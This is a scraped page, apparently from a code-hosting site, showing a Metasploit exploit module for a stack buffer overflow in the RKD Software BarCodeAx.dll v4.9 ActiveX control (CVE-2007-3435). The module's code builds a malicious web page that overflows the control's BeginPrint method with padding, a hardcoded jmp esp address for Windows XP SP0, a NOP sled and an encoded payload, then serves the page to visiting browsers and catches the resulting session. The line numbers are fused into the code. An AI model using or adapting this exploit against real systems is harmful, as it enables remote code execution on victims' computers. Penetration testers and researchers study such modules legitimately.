Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/barcode_ax49.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(update_info(info,12'Name' => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in RKD Software Barcode Application15ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint16method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.17},18'License' => MSF_LICENSE,19'Author' => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],20'References' =>21[22[ 'EDB', '4094' ],23[ 'OSVDB', '37482' ],24[ 'BID', '24596' ],25[ 'CVE', '2007-3435' ],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 1024,34'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll aushack xpsp041],42'DisclosureDate' => '2007-06-22',43'DefaultTarget' => 0))44end4546def autofilter47false48end4950def check_dependencies51use_zlib52end5354def on_request_uri(cli, request)55# Re-generate the payload56return if ((p = regenerate_payload(cli)) == nil)5758# Randomize some things59vname = rand_text_alpha(rand(100) + 1)6061buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded6263# Build out the message64content = %Q|<html>65<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>66<script language='javascript'>67#{vname}.BeginPrint("#{buff}");68</script>69</html>70|7172print_status("Sending #{self.name}")7374# Transmit the response to the client75send_response_html(cli, content)7677# Handle the payload78handler(cli)79end80end818283